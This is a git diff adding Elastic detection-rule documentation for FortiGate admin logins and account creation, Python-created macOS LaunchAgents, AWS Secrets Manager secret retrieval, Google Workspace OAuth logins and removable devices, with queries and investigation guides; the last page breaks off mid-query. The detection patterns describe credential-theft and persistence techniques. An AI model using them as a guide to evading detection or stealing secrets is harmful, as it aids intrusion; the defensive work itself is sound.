Analysis* + + + +*Investigating First-Time FortiGate Administrator Login* + + +This alert indicates that a user with the **Administrator** role has successfully logged in to the FortiGate management interface for the first time within the last 5 days of observed data. + +Because administrator access provides full control over network security devices, any newly observed admin login should be validated to confirm it is expected and authorized. + + +*Investigation Steps* + + +- **Identify the account** + - Review `source.user.name` and confirm whether the account is known and officially provisioned. + - Determine whether this is a newly created administrator or an existing account logging in for the first time. + +- **Validate the source** + - Review `source.ip` and confirm whether it originates from a trusted management network, VPN, or jump host. + - Investigate geolocation or ASN if the source IP is external or unusual. + +- **Review login context** + - Examine associated FortiGate log messages for details such as login method, interface, or authentication source. + - Check for additional administrative actions following the login (policy changes, user creation, configuration exports). + +- **Correlate with recent changes** + - Verify whether there were recent change requests, onboarding activities, or maintenance windows that explain the login. + - Look for other authentication attempts (failed or successful) from the same source or user. + + +*False Positive Considerations* + + +- Newly onboarded administrators or service accounts. +- First-time logins after log retention changes or data source onboarding. +- Automation, backup, or monitoring tools introduced recently. +- Lab, development, or test FortiGate devices. + + +*Response and Remediation* + + +- **If authorized** + - Document the activity and consider adding an exception if the behavior is expected. + - Ensure the account follows least-privilege and MFA best practices. + +- **If suspicious or unauthorized** + - Disable or restrict the administrator account immediately. + - Rotate credentials and review authentication sources. + - Audit recent FortiGate configuration changes. + - Review surrounding network activity for lateral movement or persistence attempts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-fortinet_fortigate.*, filebeat-* metadata _id + +| WHERE data_stream.dataset == "fortinet_fortigate.log" and + event.category == "authentication" and event.action == "login" and + event.outcome == "success" and source.user.roles == "Administrator" and source.user.name is not null +| stats Esql.logon_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.source_ip_values = VALUES(source.ip), + Esql.message_values = VALUES(message) by source.user.name + +// first time seen is within 6m of the rule execution time and for the last 5d of events history +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +| where Esql.recent <= 6 and Esql.logon_count == 1 + +// move dynamic fields to ECS equivalent for rule exceptions +| eval source.ip = MV_FIRST(Esql.source_ip_values) + +| keep source.ip, source.user.name, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc new file mode 100644 index 0000000000..5245e57b5a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-python-created-a-launchagent-or-launchdaemon.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-21-first-time-python-created-a-launchagent-or-launchdaemon]] +=== First Time Python Created a LaunchAgent or LaunchDaemon + +Detects the first time a Python process creates or modifies a LaunchAgent or LaunchDaemon plist file on a given host. Malicious Python scripts, compromised dependencies, or model file deserialization can establish persistence on macOS by writing plist files to LaunchAgent or LaunchDaemon directories. Legitimate Python processes do not typically create persistence mechanisms, so a first occurrence is a strong indicator of compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.trailofbits.com/2024/06/11/exploiting-ml-models-with-pickle-file-attacks-part-1/ +* https://github.com/trailofbits/fickling + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Python Created a LaunchAgent or LaunchDaemon* + + +macOS LaunchAgents and LaunchDaemons are plist files that configure programs to run automatically at login or boot. Attackers who achieve Python code execution — whether through malicious scripts, compromised dependencies, or model file deserialization (e.g., pickle/PyTorch `__reduce__`) — can drop plist files to establish persistence on the compromised host. This ensures their payload survives reboots and user logouts. + +This rule uses the Elastic Defend persistence event type (`event.action:"launch_daemon"`), which captures plist metadata including the program arguments, run-at-load configuration, and keep-alive settings. The New Terms rule type alerts on the first time a Python process creates a LaunchAgent or LaunchDaemon on a given host within a 7-day window. + + +*Possible investigation steps* + + +- Review the persistence event fields (`Persistence.runatload`, `Persistence.keepalive`, `Persistence.args`, `Persistence.path`) to understand the plist configuration. +- Examine the program path and arguments specified in the plist to determine if they reference a known legitimate application or a suspicious binary. +- Determine if the Python process was loading a model file (look for `torch.load`, `pickle.load`), running a standalone script, or executing via a compromised dependency. +- Verify if the target binary referenced in the plist exists on disk and whether it is signed or trusted. +- Investigate the origin of any recently downloaded scripts, packages, or model files on the host. +- Check for other persistence mechanisms that may have been established around the same time. + + +*False positive analysis* + + +- Some Python-based system management tools (e.g., Ansible, SaltStack) may legitimately create LaunchAgent or LaunchDaemon plist files. Evaluate whether the activity matches a known automation workflow. +- Python-based application installers may create plist files during setup. Check if the activity correlates with a known software installation. + + +*Response and remediation* + + +- Immediately unload the suspicious LaunchAgent or LaunchDaemon using `launchctl unload` with the plist path. +- Remove the suspicious plist file and any associated binary it references. +- Kill any processes launched by the plist file. +- Investigate and quarantine the Python script, package, or model file that created the persistence mechanism. +- Scan the host for additional indicators of compromise. +- If a malicious file is confirmed, identify all hosts where it may have been distributed. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:macos and event.action:"launch_daemon" and +process.name:python* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-seen-aws-secret-value-accessed-in-secrets-manager.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-seen-aws-secret-value-accessed-in-secrets-manager.asciidoc new file mode 100644 index 0000000000..99ad32ba38 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-seen-aws-secret-value-accessed-in-secrets-manager.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-first-time-seen-aws-secret-value-accessed-in-secrets-manager]] +=== First Time Seen AWS Secret Value Accessed in Secrets Manager + +An adversary with access to a compromised AWS service such as an EC2 instance, Lambda function, or other service may attempt to leverage the compromised service to access secrets in AWS Secrets Manager. This rule looks for the first time a specific user identity has programmatically retrieved a secret value from Secrets Manager using the GetSecretValue action. This rule assumes that AWS services such as Lambda functions and EC2 instances are setup with IAM role's assigned that have the necessary permissions to access the secrets in Secrets Manager. An adversary with access to a compromised AWS service would rely on its' attached role to access the secrets in Secrets Manager. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html +* https://detectioninthe.cloud/ttps/credential_access/access_secret_in_secrets_manager/ +* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_BatchGetSecretValue.html +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Secrets Manager +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 319 + +*Rule authors*: + +* Nick Jones +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time Seen AWS Secret Value Accessed in Secrets Manager* + + +AWS Secrets Manager is a service that enables the replacement of hardcoded credentials in code, including passwords, with an API call to Secrets Manager to retrieve the secret programmatically. + +This rule looks for the retrieval of credentials from Secrets Manager using `GetSecretValue` API calls. This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule indicating this is the first time a specific user identity has successfuly retrieved a secret value from Secrets Manager. + + +*Possible investigation steps* + + +- Identify the account and its role in the environment, and inspect the related policy. +- Identify the applications that should use this account. +- Investigate other alerts associated with the user account during the past 48 hours. +- Investigate abnormal values in the `user_agent.original` field by comparing them with the intended and authorized usage and historical data. Suspicious user agent values include non-SDK, AWS CLI, custom user agents, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users. +- Contact the account owner and confirm whether they are aware of this activity. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the calling user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Review IAM permission policies for the user identity and specific secrets accessed. +- Examine the request parameters. These might indicate the source of the program or the nature of its tasks. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- Review `entity.id` values for expected combinations of identity and secret value access. If this is an expected behavior, consider adding exceptions to the rule. +- False positives may occur due to the intended usage of the service. Tuning is needed in order to have higher confidence. Consider adding exceptions — preferably with a combination of user agent and IP address conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: secretsmanager.amazonaws.com + and event.action: GetSecretValue + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc new file mode 100644 index 0000000000..45b14cd735 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-seen-google-workspace-oauth-login-from-third-party-application.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-21-first-time-seen-google-workspace-oauth-login-from-third-party-application]] +=== First Time Seen Google Workspace OAuth Login from Third-Party Application + +Detects the first time a third-party application logs in and authenticated with OAuth. OAuth is used to grant permissions to specific resources and services in Google Workspace. Compromised credentials or service accounts could allow an adversary to authenticate to Google Workspace as a valid user and inherit their privileges. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two +* https://developers.google.com/apps-script/guides/bound +* https://developers.google.com/identity/protocols/oauth2 + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Tactic: Defense Evasion +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating First Time Seen Google Workspace OAuth Login from Third-Party Application* + + +OAuth is a protocol that allows third-party applications to access user data without exposing credentials, enhancing security in Google Workspace. However, adversaries can exploit OAuth by using compromised credentials to gain unauthorized access, mimicking legitimate users. The detection rule identifies unusual OAuth logins by monitoring authorization events linked to new third-party applications, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the event details to identify the specific third-party application involved by examining the google_workspace.token.client.id field. +- Check the google_workspace.token.scope.data field to understand the scope of permissions granted to the third-party application and assess if they align with expected usage. +- Investigate the user account associated with the OAuth authorization event to determine if there are any signs of compromise or unusual activity. +- Correlate the timestamp of the OAuth login event with other security logs to identify any concurrent suspicious activities or anomalies. +- Verify if the third-party application is known and authorized within the organization by consulting with relevant stakeholders or reviewing application whitelists. +- Assess the risk and impact of the OAuth login by considering the privileges of the user account and the sensitivity of the accessed resources. + + +*False positive analysis* + + +- New legitimate third-party applications: Users may frequently integrate new third-party applications for productivity or collaboration. To manage this, maintain a whitelist of known and trusted applications and exclude them from triggering alerts. +- Regular updates to existing applications: Some applications may update their OAuth client IDs during version upgrades. Monitor application update logs and adjust the detection rule to exclude these known updates. +- Internal development and testing: Organizations developing their own applications may trigger this rule during testing phases. Coordinate with development teams to identify and exclude these internal applications from alerts. +- Frequent use of service accounts: Service accounts used for automation or integration purposes might appear as new logins. Document and exclude these service accounts from the detection rule to prevent false positives. + + +*Response and remediation* + + +- Immediately revoke the OAuth token associated with the suspicious third-party application to prevent further unauthorized access. +- Conduct a thorough review of the affected user's account activity to identify any unauthorized actions or data access that may have occurred. +- Reset the credentials of the affected user and any other users who may have been compromised, ensuring that strong, unique passwords are used. +- Notify the affected user and relevant stakeholders about the incident, providing guidance on recognizing phishing attempts and securing their accounts. +- Implement additional monitoring for the affected user and similar OAuth authorization events to detect any further suspicious activity. +- Escalate the incident to the security operations team for a deeper investigation into potential lateral movement or data exfiltration. +- Review and update OAuth application permissions and policies to ensure that only trusted applications have access to sensitive data and services. + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "google_workspace.token" and event.action: "authorize" and +google_workspace.token.scope.data: *Login and google_workspace.token.client.id: *apps.googleusercontent.com + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-seen-removable-device.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-seen-removable-device.asciidoc new file mode 100644 index 0000000000..8666bf780d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-seen-removable-device.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-first-time-seen-removable-device]] +=== First Time Seen Removable Device + +Identifies newly seen removable devices by device friendly name using registry modification events. While this activity is not inherently malicious, analysts can use those events to aid monitoring for data exfiltration over those devices. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://winreg-kb.readthedocs.io/en/latest/sources/system-keys/USB-storage.html +* https://learn.microsoft.com/en-us/windows-hardware/drivers/usbcon/usb-device-specific-registry-settings + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Exfiltration +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating First Time Seen Removable Device* + + +Removable devices, like USB drives, are common in Windows environments for data transfer. Adversaries exploit these to introduce malware or exfiltrate data, leveraging their plug-and-play nature. The detection rule monitors registry changes for new device names, signaling potential unauthorized access. By focusing on first-time-seen devices, it helps identify suspicious activities linked to data exfiltration or initial access attempts. + + +*Possible investigation steps* + + +- Review the registry event details to confirm the presence of a new device by checking the registry.value for "FriendlyName" and registry.path for USBSTOR. +- Correlate the timestamp of the registry event with user activity logs to identify which user was logged in at the time of the device connection. +- Check for any subsequent file access or transfer events involving the new device to assess potential data exfiltration. +- Investigate the device's history by searching for any previous connections to other systems within the network to determine if it has been used elsewhere. +- Analyze any related alerts or logs from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR for additional context or suspicious activities linked to the device. + + +*False positive analysis* + + +- Frequent use of company-issued USB drives for legitimate data transfer can trigger alerts. Maintain a list of approved devices and create exceptions for these in the monitoring system. +- Software updates or installations via USB drives may be flagged. Identify and whitelist known update devices or processes to prevent unnecessary alerts. +- IT department activities involving USB devices for maintenance or troubleshooting can appear suspicious. Coordinate with IT to log and exclude these routine operations from triggering alerts. +- Devices used for regular backups might be detected as new. Ensure backup devices are registered and excluded from the rule to avoid false positives. +- Personal USB devices used by employees for non-work-related purposes can cause alerts. Implement a policy for registering personal devices and exclude them if deemed non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent potential data exfiltration or further spread of malware. +- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to identify and remove any malicious software introduced via the removable device. +- Review and analyze the registry changes logged by the detection rule to confirm the legitimacy of the device and assess any unauthorized access attempts. +- If malicious activity is confirmed, collect and preserve relevant logs and evidence for further forensic analysis and potential legal action. +- Notify the security team and relevant stakeholders about the incident, providing details of the device and any identified threats. +- Implement a temporary block on the use of removable devices across the network until the threat is fully contained and remediated. +- Enhance monitoring and detection capabilities by updating security tools and rules to better identify similar threats in the future, focusing on registry changes and device connections. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:"registry" and host.os.type:"windows" and registry.value:"FriendlyName" and registry.path:*USBSTOR* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Replication Through Removable Media +** ID: T1091 +** Reference URL: https://attack.mitre.org/techniques/T1091/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Physical Medium +** ID: T1052 +** Reference URL: https://attack.mitre.org/techniques/T1052/ +* Sub-technique: +** Name: Exfiltration over USB +** ID: T1052.001 +** Reference URL: https://attack.mitre.org/techniques/T1052/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-administrator-account-creation-from-unusual-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-administrator-account-creation-from-unusual-source.asciidoc new file mode 100644 index 0000000000..d148ae1bce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-administrator-account-creation-from-unusual-source.asciidoc @@ -0,0 +1,114 @@ +[[prebuilt-rule-8-19-21-fortigate-administrator-account-creation-from-unusual-source]] +=== FortiGate Administrator Account Creation from Unusual Source + +This rule detects FortiGate administrator account creation from a source IP address not previously seen performing admin operations on the device. Threat actors exploiting CVE-2026-24858 (FG-IR-26-060) authenticate via FortiCloud SSO bypass and immediately create local administrator accounts for persistence, typically from infrastructure not associated with normal administrative activity. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-fortinet_fortigate.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fortiguard.com/psirt/FG-IR-26-060 +* https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating FortiGate Administrator Account Creation from Unusual Source* + + +This alert indicates that an administrator account was created on a FortiGate device from a source IP address that has not been observed performing configuration changes in the recent history window. This is a behavioral indicator of compromise, as threat actors exploiting SSO bypass vulnerabilities typically operate from infrastructure not previously associated with the device. + + +*Possible investigation steps* + + +- Review `source.ip` to determine whether the IP address belongs to a known management network or authorized administrator location. Check against known threat infrastructure from The Constant Company LLC, BL Networks, and Kaopu Cloud HK Limited. +- Examine `fortinet.firewall.cfgobj` for the name of the newly created account and `fortinet.firewall.cfgattr` for the access profile assigned (especially super_admin). +- Check `source.user.name` to identify the account that performed the creation and verify whether it was recently created itself or accessed via SSO. +- Look for other configuration changes from the same source IP, including firewall policy modifications, configuration exports, or VPN user creation. +- Run `get system admin` on the affected FortiGate to list all current administrator accounts and compare against the authorized list. + + +*False positive analysis* + + +- Authorized administrators connecting from a new location (VPN, travel, new office). +- Initial device setup or migration where configuration changes come from temporary infrastructure. +- Managed service providers performing authorized administration from rotating IP addresses. + + +*Response and remediation* + + +- If unauthorized, immediately delete the newly created administrator account and audit the source account for compromise. +- Block the source IP at the perimeter and check other FortiGate devices for activity from the same IP. +- Restore configuration from a known-clean backup and rotate all credentials including LDAP/AD accounts connected to the device. +- Upgrade FortiOS to a patched version and disable FortiCloud SSO if not required. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "fortinet_fortigate.log" and + event.code: "0100044547" and + fortinet.firewall.cfgpath: "system.admin" and + fortinet.firewall.action: "Add" and + fortinet.firewall.ui: (* and not "") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-administrator-login-from-multiple-ip-addresses.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-administrator-login-from-multiple-ip-addresses.asciidoc new file mode 100644 index 0000000000..d77a3d73c5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-fortigate-administrator-login-from-multiple-ip-addresses.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-fortigate-administrator-login-from-multiple-ip-addresses]] +=== FortiGate Administrator Login from Multiple IP Addresses + +This rule detects successful logins to the FortiGate management interface using the same Administrator account from multiple distinct source IP addresses within an 24-hour period. Administrator logins from multiple locations in a short time window may indicate credential sharing, compromised credentials, or unauthorized access and should be investigated. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-24h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*## Triage and Analysis* + + + +*Investigating FortiGate Administrator Login from Multiple IP Addresses* + + +This alert indicates that the same **Administrator** account successfully logged in to the FortiGate management interface from **multiple distinct source IP addresses** within an 24-hour period. + +Because FortiGate administrator credentials grant full control over network security infrastructure, this behavior may indicate credential compromise, account sharing, or misuse of administrative access. + + +*Investigation Steps* + + +- **Review the affected account** + - Identify the administrator account in `source.user.name`. + - Confirm whether the account is shared, personal, or service-related. + - Validate whether concurrent or near-concurrent access is expected. + +- **Analyze source IP addresses** + - Review the list of `source.ip` values associated with the logins. + - Determine whether the IPs belong to trusted management networks, VPN pools, or jump hosts. + - Investigate geolocation differences using `source.geo.country_name`. + +- **Assess timing and session behavior** + - Check whether logins occurred close together in time or overlapped. + - Identify whether access patterns suggest session hopping or credential reuse. + +- **Review post-authentication activity** + - Examine FortiGate logs for configuration changes, policy updates, or administrative actions following the logins. + - Look for additional authentication attempts (successful or failed) from the same IPs or user. + +- **Correlate with environment context** + - Verify maintenance windows, incident response activity, or operational tasks that could explain the behavior. + - Confirm whether administrators commonly access FortiGate via multiple networks or devices. + + +*False Positive Considerations* + + +- Administrators connecting through VPNs with dynamic or rotating IP addresses. +- Access via bastion hosts, load-balanced management interfaces, or cloud-based management tools. +- Automation or orchestration systems using shared administrator credentials. +- Incident response or troubleshooting activity involving multiple access points. + + +*Response and Remediation* + + +- **If the activity is expected** + - Document the behavior and consider tuning the rule or adding exceptions for known IP ranges or accounts. + - Encourage use of named accounts and centralized access paths. + +- **If the activity is suspicious** + - Reset or rotate credentials for the affected administrator account. + - Review FortiGate configuration changes made during the session(s). + - Restrict administrative access to trusted IP ranges. + - Enforce MFA for administrative logins if not already enabled. + - Monitor for additional signs of lateral movement or persistence. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-fortinet_fortigate.*, filebeat-* metadata _id + +| WHERE data_stream.dataset == 